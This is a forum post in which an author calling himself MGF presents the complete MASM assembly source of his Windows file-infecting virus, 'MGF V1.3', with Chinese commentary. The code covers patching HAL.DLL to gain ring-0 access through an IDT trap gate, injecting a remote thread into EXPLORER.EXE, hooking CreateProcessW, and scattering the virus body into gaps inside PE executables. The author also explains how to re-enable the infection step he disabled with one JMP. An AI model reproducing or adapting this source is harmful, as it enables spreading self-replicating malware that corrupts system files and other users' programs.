;MGF V1.3的源代码:;大家好!我是MGF。2年前因为我的MGF给很多人带来了麻烦,所以我“闭门思过”埋头工作,消身匿迹近2年。现在看到“风声过去了”,;才敢浮头露露面。现在我最新的改进过的MGF又出来了(没有散布),还是我的一贯作风,没有破坏,只讲技术,希望看过以下代码的朋;友能够学到一些技术,有所启发。
;相关技术:;1,HOOK HAL.DLL的ExAcquireFastMutex()。在函数执行前先执行我的代码,往IDT里添加INT FE陷阱门。重新启动后就可以通过它进入RING0;;(这下微软又犯错了,没有保护HAL.DLL,而且ExAcquireFastMutex()是第一个被导出的函数(很方便HOOK),又是一个执行得很频繁的函数。;该方法比修改NTLDR更难于利用,是我发现的能够进入RING0的2个漏洞之一(第一个NTLDR漏洞大家都知道了)。我已经发邮件把代码给微软,;但没有结果,看来还要继续骂MS!)
;2,用新方法HOOK CreateProcessW()来感染文件。CreateProcessW()只是调用了一个CreateProcessInternalW()来完成自身的功能,它的具体;代码是:
;Exported fn(): CreateProcessW - Ord:0060h;:77E41B8A 55 push ebp;:77E41B8B 8BEC mov ebp, esp;:77E41B8D 6A00 push 00000000;:77E41B8F FF752C push [ebp+2C] //CreateProcessW()的第10个参数;:77E41B92 FF7528 push [ebp+28] //CreateProcessW()的第9个参数;:77E41B95 FF7524 push [ebp+24] //CreateProcessW()的第8个参数;:77E41B98 FF7520 push [ebp+20] //CreateProcessW()的第7个参数;:77E41B9B FF751C push [ebp+1C] //CreateProcessW()的第6个参数;:77E41B9E FF7518 push [ebp+18] //CreateProcessW()的第5个参数;:77E41BA1 FF7514 push [ebp+14] //CreateProcessW()的第4个参数;:77E41BA4 FF7510 push [ebp+10] //CreateProcessW()的第3个参数;:77E41BA7 FF750C push [ebp+0C] //CreateProcessW()的第2个参数;:77E41BAA FF7508 push [ebp+08] //CreateProcessW()的第1个参数;:77E41BAD 6A00 push 00000000;* Reference To: KERNEL32.CreateProcessInternalW; |;:77E41BAF E83EBE0100 call 77E5D9F2 //注意这条CALL指令,只要把它的机器码E8后面的相对地址指向自己的代码就可以HOOK了;:77E41BB4 5D pop ebp;:77E41BB5 C22800 ret 0028
;如何找到这条CALL 指令呢?只要在CreateProcessW()开始处搜索086A00E8这个特征就可以了,08是push [ebp+08]的机器码FF7508的一部分,;它和后面的push 00000000的机器码6A00连在一起,而6A00又和call 77E5D9F2的机器码E8连在一起,所以只要找到086A00E8这个特征,就可;以找到call 77E5D9F2 || call KERNEL32.CreateProcessInternalW这条指令。
;3,采用把自身分成几段后插入PE文件的空隙来感染文件,不增加文件长度。用自身的函数搜索被感染PE文件里连续几十个为0的空间,把找到;的空间收集起来,如果这些空间能够装得下病毒,就感染,否则不感染。这样,病毒有一个要求:必须有一个引导代码,把分散在宿主进程里;的代码收集合并到分配的内存里,这个0x1d0大小的引导代码是不能被分割的,被感染PE文件里必须有一个连续空间可以容得下该0x1d0大小的;引导代码,否则即使文件的总空隙比病毒大,可以装得下病毒,但也不感染。
;本病毒可以用MASM编译成功后直接运行,在内存感染文件的功能已经被我用JMP指令跳过,编译后的大小0xb23(2951)字节,可以感染WINDOWS自;带的calc.exe,charmap.exe,sol.exe,notepad.exe,osk.exe等,但感染安装文件时可能会破坏安装文件,因为安装文件要进行自解压,CRC验校;等(已经测试过)。
.586p.model flat,stdcalloption casemap:none
include windows.incinclude kernel32.incinclude user32.incinclude advapi32.incinclude mpr.incincludelib kernel32.libincludelib user32.libincludelib advapi32.libincludelib mpr.lib
VirusSize = offset VirusEnd-offset VirusStart
.codeVirusStart:;int 3noppushad
db 0e8h,3,0,0,0,'mgf'pop edxsub edx,$-4mov ebx,edx ;计算重定位值,做了一些变形
.if ebxmov edx,[esp+24h].elsemov edx,[esp+20h].endifcall _GetModuleAddressmov ebp,eax ;EBP=hKernel32
bt eax,31jc _ErrorExit ;如果是WINDOWS 9X,返回原来程序入口
push 0A5171D00h ;VirtualAlloc()的自定义编码push ebp ;hKernel32call _GetProcAddress ;先获取VirtualAlloc()的地址or eax,eaxjz _ErrorExit
push 40hpush 1000hpush 1000hpush 0call eax ;调用VirtualAlloc()分配4K内存or eax,eaxjz _ErrorExit
mov edi,eax
lea edx,_SectionAddress[ebx].while dword ptr [edx]mov esi,[edx]mov ecx,[edx+4]rep movsb ;把分散在宿主进程的病毒体收集合并到申请的内存里add edx,8.endw
lea ecx,[eax+(offset _NewStart-offset VirusStart)]jmp ecx ;跳到新地址继续执行
_ErrorExit:popadret
;根据函数自定义编码来获取函数地址的子程序,比如VirtualAlloc()的自定义编码是0A5171D00h_GetProcAddress proc _hModule,_ProcNamepushad
mov edx,_hModuleadd edx,[edx+3ch]mov edx,[edx+78h]add edx,_hModulemov ecx,[edx+18h]mov esi,[edx+20h]add esi,_hModule
@@:push ecxlodsdadd eax,_hModulexor edi,edi.repeatmov ecx,[eax]inc eaxadc edi,ecxrol ecx,8.until cl==0cmp edi,_ProcNamepop ecxloopnz @b
.if ZERO?sub esi,4sub esi,_hModulesub esi,[edx+20h]shr esi,1add esi,[edx+24h]add esi,_hModulelodsdmovzx eax,axshl eax,2add eax,[edx+1ch]add eax,_hModulemov edx,[eax]add edx,_hModulemov [esp+1ch],edx.elsemov dword ptr [esp+1ch],0.endif
popadret_GetProcAddress endp
;获取hKernel32地址的子程序;in=edx, out=eax_GetModuleAddress:@@:and dx,0f000hsub edx,1000hcmp word ptr [edx],'ZM'jnz @bmov eax,edxadd edx,[edx+3ch]cmp dword ptr [edx],'EP'jnz @bret
dwOldEntryCom db 0,0,0,0,0 ;保存被感染PE文件原程序入口前5个字节的变量
;段链表,它记录了病毒分散在PE文件各处的病毒体的地址和大小_SectionAddress:dd offset VirusStartdd VirusSizedd 18h*2 dup(0)
;新执行点,在引导代码把病毒体收集合并到申请的内存后,就跳到这里执行。从这里往前到VirusStart之间的代码是引导代码,不能分割_NewStart:db 0e8h,3,0,0,0,'mgf'pop edxsub edx,$-4xchg ebx,edx ;重定位
.if edx ;如果在宿主进程运行,恢复进程原来的入口代码sub dword ptr [esp+20h],5mov edx,[esp+20h]mov al,dwOldEntryCom[ebx]mov [edx],almov eax,dword ptr dwOldEntryCom[ebx+1]mov [edx+1],eax.endif
;以下程序块获取所有需要的API地址lea esi,FunctionNameTab[ebx]lea edi,FunctionAddressTab[ebx]@@:lodsdpush eaxpush ebpcall _GetProcAddressstosdcmp dword ptr [esi],0loopnz @blea eax,szGetLastError[ebx]push eaxpush ebpcall dwGetProcAddress[ebx]stosd
mov edx,398hlar eax,edx.if eax==00cffb00h ;如果在GDT里找到特征码,进入RING0int 0fehmov eax,espmov esp,[esp+8]push eax
mov eax,cr0push eaxbtr eax,16mov cr0,eax
mov edx,dwCreateProcessInternalW[ebx]sub edx,ebplea ecx,[edx-(380h+(offset _JmpOffset-offset VirusStart))]mov dword ptr _JmpOffset[ebx-4],ecx ;计算CALL指令的地址差
lea edi,[ebp+380h]lea esi,VirusStart[ebx]push 16pop ecxpushadrepz cmpsb ;判断病毒是否已经驻留内存popad.if !ZERO?mov ecx,VirusSizerep movsb ;驻留内存
mov edx,dwCreateProcessW[ebx]mov ecx,80h@@:inc edxcmp dword ptr [edx],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码loopnz @blea ecx,[edx+8]sub ecx,ebpsub ecx,380h+offset _NewCreateProcessW-offset VirusStartneg ecxmov [edx+4],ecx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW().endif
pop eaxmov cr0,eax
pop esplea eax,@f[ebx]push eaxdb 0cfh ;IRETD指令,返回RING3@@:
.else ;如果只第一次运行,内存中没有陷阱门,就修改HAL.DLL,建立远程线程到EXPLORER.EXE里HOOK CreateProcessW()感染文件 lea eax,szGetLastError[ebx]push eaxpush 1push 0call dwCreateMutexA[ebx] ;用MUTEX来保证远程线程只建立一次call dwGetLastError[ebx].if eax!=0b7h
enter 200h,0
mov edi,esppush 60hpush edicall dwGetSystemDirectoryW[ebx]shl eax,1mov dword ptr [edi+eax],0068005chmov dword ptr [edi+eax+4],006c0061hmov dword ptr [edi+eax+8],0064002ehmov dword ptr [edi+eax+12],006c006chmov dword ptr [edi+eax+16],0 ;构造c:\windows\system32\hal.dll字符串(UNICODE码)push 1push edicall _EditFile ;修改HAL.DLL文件,HOOK ExAcquireFastMutex()
xor esi,esi.repeatpush 5000call dwSleep[ebx]push 0push 2call dwCreateToolhelp32Snapshot[ebx] ;搜索EXPLORER.EXE进程mov [ebp-4],eax
mov dword ptr [edi],128hpush edipush eaxcall dwProcess32First[ebx].while eaxlea edx,[edi+24h]push 12push edxcall _Str2Upper.if dword ptr [edi+24h]=='LPXE' && dword ptr [edi+24h+4]=='RERO' && dword ptr [edi+24h+8]=='EXE.'
push dword ptr [edi+8]push esipush 2ahcall dwOpenProcess[ebx] ;打开EXPLORER.EXE进程.if eaxmov [ebp-8],eaxpush 40hpush 1000hpush 1000hpush esipush eaxcall dwVirtualAllocEx[ebx] ;在EXPLORER.EXE进程里分配内存mov edi,eaxlea edx,VirusStart[ebx]push esipush 1000hpush edxpush edipush dword ptr [ebp-8]call dwWriteProcessMemory[ebx] ;把病毒体写入EXPLORER.EXE进程里lea eax,[edi+(offset _RemoteThread-offset VirusStart)]push esipush esipush esipush eaxpush esipush esipush dword ptr [ebp-8]call dwCreateRemoteThread[ebx] ;在EXPLORER.EXE进程里建立远程线程push dword ptr [ebp-8]call dwCloseHandle[ebx]mov esi,esp.break.endif.endif
push edipush dword ptr [ebp-4]call dwProcess32Next[ebx].endw
push dword ptr [ebp-4]call dwCloseHandle[ebx].until esi
leave
.endif
.endif
popadret
;在EXPLORER里建立的远程线程,功能是HOOK CreateProcessW(),感染文件_RemoteThread proc p1pushaddb 0e8h,3,0,0,0,'mgf'pop edxsub edx,$-4mov ebx,edx
lea eax,szGetLastError[ebx]push eaxpush 1push 0call dwCreateMutexA[ebx] ;建立MUTEX
mov edi,dwCreateProcessW[ebx]push ecxpush esppush 40hpush 1000hpush edicall dwVirtualProtect[ebx] ;去除CreateProcessW()所在内存页的只读属性pop ecx
.if eaxmov edx,dwCreateProcessInternalW[ebx]lea ecx,_JmpOffset[ebx]sub edx,ecxmov dword ptr _JmpOffset[ebx-4],edx ;计算2条指令间的相对地址
mov ecx,80h@@:inc edicmp dword ptr [edi],0e8006a08h ;搜索CALL CreateProcessInternalW的特征码loopnz @blea ecx,[edi+8]lea edx,_NewCreateProcessW[ebx]sub edx,ecxmov [edi+4],edx ;更改CALL CreateProcessInternalW的机器码,HOOK CreateProcessW().endif
popadret_RemoteThread endp
_NewCreateProcessW: ;被HOOK后的CreateProcessW()pushaddb 0e8h,3,0,0,0,'mgf'pop edxsub edx,$-4mov ebx,edx ;重定位
mov edi,[esp+20h+12]inc ediinc edimov esi,edipush 22hpop eaxmov ecx,100hrepnz scaswmov byte ptr [edi-2],0 ;处理CreateProcessW()的参数
jmp @f ;这条指令使系统跳过了下面的感染PE文件的函数,各位如果想跟踪感染文件过程,可以在跟踪到这里时使EIP=EIP+2,继续跟踪感染文件的过程push 0push esicall _EditFile ;感染将被CreateProcessW()执行的PE文件@@:
mov byte ptr [edi-2],22hpopaddb 0e9hdd 0_JmpOffset:
_EditFile proc _lpFileName,_dwFlag ;感染文件的子程序,_dwFlag=0时感染普通PE文件,_dwFlag=1时修改HAL.DLL文件local @hFilelocal @hFileMaplocal @lpFileMaplocal @dwFileSizelocal @dwFileAttributeslocal @stFileTime1:FILETIMElocal @stFileTime2:FILETIMElocal @stFileTime3:FILETIMElocal @szTempBuffer[100h]:bytepushad
push _lpFileNamecall dwGetFileAttributesW[ebx].if eax!=-1mov @dwFileAttributes,eax
push 80hpush _lpFileNamecall dwSetFileAttributesW[ebx]
push 0push 80hpush 3push 0push 3push 0c0000000hpush _lpFileNamecall dwCreateFileW[ebx].if eax!=-1mov @hFile,eax
push eaxcall dwGetFileType[ebx].if eax==FILE_TYPE_DISK
push 0push @hFilecall dwGetFileSize[ebx]mov @dwFileSize,eax
lea eax,@stFileTime3push eaxlea eax,@stFileTime2push eaxlea eax,@stFileTime1push eaxpush @hFilecall dwGetFileTime[ebx]
push 0push 0push 0push 4push 0push @hFilecall dwCreateFileMappingW[ebx].if eaxmov @hFileMap,eax
push 0push 0push 0push 6push eaxcall dwMapViewOfFile[ebx].if eaxmov @lpFileMap,eax
.if word ptr [eax]=='ZM'.if dword ptr [eax+38h]!='FGM'add eax,[eax+3ch].if dword ptr [eax]=='EP'bt dword ptr [eax+16h],13.if !CARRY?
lea edi,@szTempBuffermov eax,@lpFileMapmov edx,@dwFileSizepush 18hpop ecx@@:push ecx
push VirusSize/18hpush edxpush eaxcall _FindSpace ;在被感染PE文件里搜索空间.if eaxpush eaxpush 0push eaxpush @lpFileMapcall _TranslateAddr ;判断找到的空间是否有效cmp eax,1pop eaxjl _EditFile1stosd ;保存有效空间的地址到段链表xchg eax,edxstosd ;保存有效空间的大小到段链表xchg eax,edx_EditFile1:add eax,edxmov ecx,eaxsub ecx,@lpFileMapmov edx,@dwFileSizesub edx,ecx.endif
or eax,eaxpop ecxloopnz @b ;继续搜索空间xor eax,eaxstosdstosd
push 4pop edx.while dword ptr [@szTempBuffer+edx] ;本循环用来调整找到的空间链
.if dword ptr [@szTempBuffer+edx] >= VirusSize ;如果某个空间可以容得下整个病毒,就把该空间做为链的第一项,病毒体全部写入该空间mov eax,dword ptr [@szTempBuffer+edx-4]mov dword ptr @szTempBuffer,eaxmov eax,dword ptr [@szTempBuffer+edx]mov dword ptr @szTempBuffer+4,eaxxor eax,eaxmov dword ptr @szTempBuffer+8,eaxmov dword ptr @szTempBuffer+12,eax.break.elseif dword ptr [@szTempBuffer+edx] >= offset _NewStart-offset VirusStartmov eax,dword ptr [@szTempBuffer+edx-4]xchg dword ptr @szTempBuffer,eaxmov dword ptr [@szTempBuffer+edx-4],eaxmov eax,dword ptr [@szTempBuffer+edx]xchg dword ptr @szTempBuffer+4,eaxmov dword ptr [@szTempBuffer+edx],eax ;如果没有哪个空间可以放得下整个病毒,就把放得下引导代码的空间调整为链的第一个项.break.endif
add edx,8.endw
push 4pop edxxor eax,eax.while dword ptr [@szTempBuffer+edx]add eax,dword ptr [@szTempBuffer+edx] ;计算所有空间大小add edx,8.endw
.if dword ptr [@szTempBuffer+4] >= offset _NewStart-offset VirusStart ;如果第一个链项装得下引导代码,继续,否则退出.if dword ptr [@szTempBuffer+4] >= VirusSize || eax >= VirusSize ;如果第一个链项装得下整个病毒体或者所有空隙可以装得下就继续
mov eax,VirusSizelea edx,@szTempBufferlea esi,VirusStart[ebx].while dword ptr [edx].if dword ptr [edx+4] >= eaxmov dword ptr [edx+4],eax.endifmov edi,[edx]mov ecx,[edx+4]rep movsb ;把病毒体分成多个部分写入找到的PE文件空隙处sub eax,[edx+4].break .if !eaxadd edx,8.endwxor eax,eaxmov [edx+8],eaxmov [edx+12],eax
lea esi,@szTempBuffermov edi,[esi]add edi,offset _SectionAddress-offset VirusStart
mov edx,esi.while dword ptr [edx]push 2push dword ptr [edx]push @lpFileMapcall _TranslateAddrmov [edx],eax ;把地址链里的地址转换为虚拟地址并写入PE文件add edx,8.endwpush 19h*2pop ecxpushadrep movsdpopad
mov edx,@lpFileMap ;保存和修改程序入口指令add edx,[edx+3ch]push 3push dword ptr [edx+28h]push @lpFileMapcall _TranslateAddrmov esi,eaxmov cl,[esi]mov byte ptr [edi-5],clmov ecx,[esi+1]mov dword ptr [edi-4],ecxsub edi,offset _SectionAddress-offset VirusStartpush 2push edipush @lpFileMapcall _TranslateAddrsub eax,[edx+34h]sub eax,[edx+28h]sub eax,5mov byte ptr [esi],0e8hmov [esi+1],eax
movzx eax,word ptr [edx+14h]add eax,18hmovzx ecx,word ptr [edx+6]add edx,eax.repeatmov eax,[edx+10h].if [edx+8]<eaxmov [edx+8],eax.endifmov dword ptr [edx+24h],0e00000e0h ;修改节属性add edx,28h.break .if !ecx.untilcxz
mov eax,@lpFileMapmov dword ptr [eax+38h],'FGM' ;在文件头标记已感染标志.endif.endif
.elseif _dwFlag==1 ;如果_dwFlag==1,修改HAL.DLL,HOOK ExAcquireFastMutex()mov eax,[eax+54h]mov edx,@lpFileMapadd edx,eaxsub eax,@dwFileSizeneg eax ;调整搜索地址
push offset ring0apiend-offset ring0apistartpush eaxpush edxcall _FindSpace ;在HAL.DLL的PE头之后开始搜索空间.if eaxmov edi,eaxlea esi,ring0apistart[ebx]mov ecx,offset ring0apiend-offset ring0apistartrep movsb ;把HOOK代码写入HAL.DLL
push 2push eaxpush @lpFileMapcall _TranslateAddr ;HOOK代码的文件地址转换为虚拟地址mov esi,eax
mov edx,@lpFileMapmov dword ptr [edx+38h],'FGM'add edx,[edx+3ch]sub esi,[edx+34h]mov ecx,[edx+78h]push 3push ecxpush @lpFileMapcall _TranslateAddr ;导出表的地址转换为文件地址mov ecx,[eax+1ch]push 3push ecxpush @lpFileMapcall _TranslateAddr ;导出函数地址表的地址转换为文件地址,保存在EAX里
xchg esi,[eax] ;修改ExAcquireFastMutex()的入口地址为HOOK代码地址push 2push edipush @lpFileMapcall _TranslateAddr ;HOOK代码执行完后要转到原来的ExAcquireFastMutex()继续执行,这里转换JMP指令的文件地址为虚拟地址sub eax,[edx+34h]sub esi,eaxmov [edi-4],esi ;地址差写入HOOK代码的最后的JMP指令处
mov dword ptr [edx+58h],0push @dwFileSizepush @lpFileMapcall _CheckSummov [edx+58h],eax ;重新计算hal.dll的CHECKSUM值并填入PE头.endif
.endif;'DLL'
.endif;'EP'
.endif;! 'FGM'
.endif;'ZM'
push @lpFileMapcall dwUnmapViewOfFile[ebx].endif
push @hFileMapcall dwCloseHandle[ebx].endif
lea eax,@stFileTime3push eaxlea eax,@stFileTime2push eaxlea eax,@stFileTime1push eaxpush @hFilecall dwSetFileTime[ebx].endif
push @hFilecall dwCloseHandle[ebx].endif
push @dwFileAttributespush _lpFileNamecall dwSetFileAttributesW[ebx].endif
popadret_EditFile endp
;在PE文件里搜索连续为0的空间,函数返回值在EAX和EDX里;out:eax=addr, edx=size_FindSpace proc _StartAddress,_Size,_RequireSizepushfdpush esipush edicld
mov eax,_StartAddress.if word ptr [eax]=='ZM'add eax,[eax+3ch].if dword ptr [eax]=='EP'movzx edx,word ptr [eax+14h]add edx,18hadd edx,eaxsub edx,_StartAddresssub _Size,edxadd _StartAddress,edx.endif.endif
mov edi,_StartAddressmov ecx,_Sizeshr ecx,2xor eax,eax@@:repnz scasdlea esi,[edi-4]mov edx,esirepz scasdsub edx,edineg edxsub edx,4jecxz _FindSpace1cmp edx,_RequireSizejb @b_FindSpace1:.if edx>=_RequireSizelea eax,[esi+4]sub edx,4.endif
pop edipop esipopfdret_FindSpace endp
;文件地址和虚拟地址相互转换的函数;flag: bit0=0 文件地址转成虚拟地址; bit0=1 虚拟地址转成文件地址; bit1=0 正常转换; bit1=1 强制转换_TranslateAddr proc _hModule,_Addr,_Flaglocal @dwFlagxor eax,eaxpushad
mov eax,_Flagshr eax,1mov @dwFlag,eaxand byte ptr _Flag,1
mov eax,_hModuleadd eax,[eax+3ch]movzx edx,word ptr [eax+14h]add edx,18hadd edx,eax
mov ecx,_Addr.if _Flag==0 && ecx>_hModulesub ecx,_hModule.elseif _Flag==1 && ecx>[eax+34h]sub ecx,[eax+34h].endifmov _Addr,ecx
.if ecx<[eax+54h].if _Flag==0add ecx,[eax+34h].elseadd ecx,_hModule.endifmov [esp+1ch],ecxjmp _TranslateAddr1.endif
movzx ecx,word ptr [eax+6].repeat.if _Flag==0mov esi,[edx+14h]mov edi,[edx+10h]add edi,esi.elsemov esi,[edx+12]mov edi,[edx+8]add edi,esi.endif
.if _Addr>=esi && _Addr<edi
.if !@dwFlagtest byte ptr [edx+27h],80h.if !ZERO?mov dword ptr [esp+1ch],-1.break.endif.endif
sub esi,_Addrneg esi.if _Flag==0add esi,[edx+12]add esi,[eax+34h].elseadd esi,[edx+14h]add esi,_hModule.endifmov [esp+1ch],esi.break
.endif
add edx,28h.break .if !ecx.untilcxz
_TranslateAddr1:popadret_TranslateAddr endp
_CheckSum proc _lpaddr,_size ;计算PE CHECKSUM的函数pushad
mov ecx,_sizeshr ecx,1pushfd
xor edx,edxmov esi,_lpaddr.repeatlodswadc dx,ax.untilcxz
popfd.if CARRY?lodsbmov ah,0adc dx,ax.endif
add edx,_sizemov [esp+1ch],edx
popadret_CheckSum endp
_Str2Upper proc _lpString,_Sizepushadmov esi,_lpStringmov edi,esimov ecx,_Size.if ecx.repeatlodsb.if al>='a' && al<='z'sub al,20h.endifstosb.untilcxz.endifpopadret_Str2Upper endp
;hal.dll导出的ExAcquireFastMutex()的HOOK代码,用来建立INT FE陷阱门,建立SELECTOR=390H的0级32位代码段和一个特征码ring0apistart:pushfdpushad
push ebpsgdt fword ptr [esp-2]pop ebxmov edi,390h
.if dword ptr [ebx+edi+12]!=00cffb00hlea edx,[ebx+edi+8]mov byte ptr [edx],0c3h
mov dword ptr [ebx+edi],0000ffffhmov dword ptr [ebx+edi+4],00cf9b00hmov byte ptr [ebx+edi+8],0c3hmov dword ptr [ebx+edi+12],00cffb00h
push ebpsidt fword ptr [esp-2]pop ebxmov esi,0feh*8
mov dword ptr [ebx+esi],edxmov dword ptr [ebx+esi+4],edxmov dword ptr [ebx+esi+2],0ef000390h.endif
popadpopfddb 0e9h ;JMP ExAcquireFastMutex()指令,下面的地址差要随机计算后填入dd 0ring0apiend:
;WIN API的自定义编码表FunctionNameTab:szCreateProcessW dd 074D9F4C0hszCreateFileW dd 01479946FhszGetFileAttributesW dd 004788654hszSetFileAttributesW dd 004788660hszCreateFileMappingW dd 0E3486339hszMapViewOfFile dd 0D444401DhszUnmapViewOfFile dd 0A6131C00hszGetFileSize dd 01E92925ChszGetFileTime dd 01286865DhszSetFileTime dd 012868669hszGetFileType dd 02599996DhszCloseHandle dd 027969D71hszGetSystemDirectoryW dd 0980C19E1hszCreateProcessInternalW dd 0B51A3504hszSleep dd 0D63B3724hszCreateToolhelp32Snapshot dd 03EA3A16DhszProcess32First dd 01F8E8C65hszProcess32Next dd 0B62522F7hszOpenProcess dd 050B5B28BhszVirtualAllocEx dd 062D4C5D2hszWriteProcessMemory dd 037A09978hszCreateRemoteThread dd 004697753hszVirtualProtect dd 09C0E02F1hszCreateMutexA dd 091F727EFhszGetProcAddress dd 05ED2C494h
dd 0
FunctionAddressTab:dwCreateProcessW dd 0dwCreateFileW dd 0dwGetFileAttributesW dd 0dwSetFileAttributesW dd 0dwCreateFileMappingW dd 0dwMapViewOfFile dd 0dwUnmapViewOfFile dd 0dwGetFileSize dd 0dwGetFileTime dd 0dwSetFileTime dd 0dwGetFileType dd 0dwCloseHandle dd 0dwGetSystemDirectoryW dd 0dwCreateProcessInternalW dd 0dwSleep dd 0dwCreateToolhelp32Snapshot dd 0dwProcess32First dd 0dwProcess32Next dd 0dwOpenProcess dd 0dwVirtualAllocEx dd 0dwWriteProcessMemory dd 0dwCreateRemoteThread dd 0dwVirtualProtect dd 0dwCreateMutexA dd 0dwGetProcAddress dd 0
dwGetLastError dd 0
szGetLastError db 'GetLastError',0szVersion db 'MGF Ver1.3',0
VirusEnd:invoke ExitProcess,0
end VirusStart
分析http://www.eviloctal.com/forum/read.php?tid=12056&fpage=1
|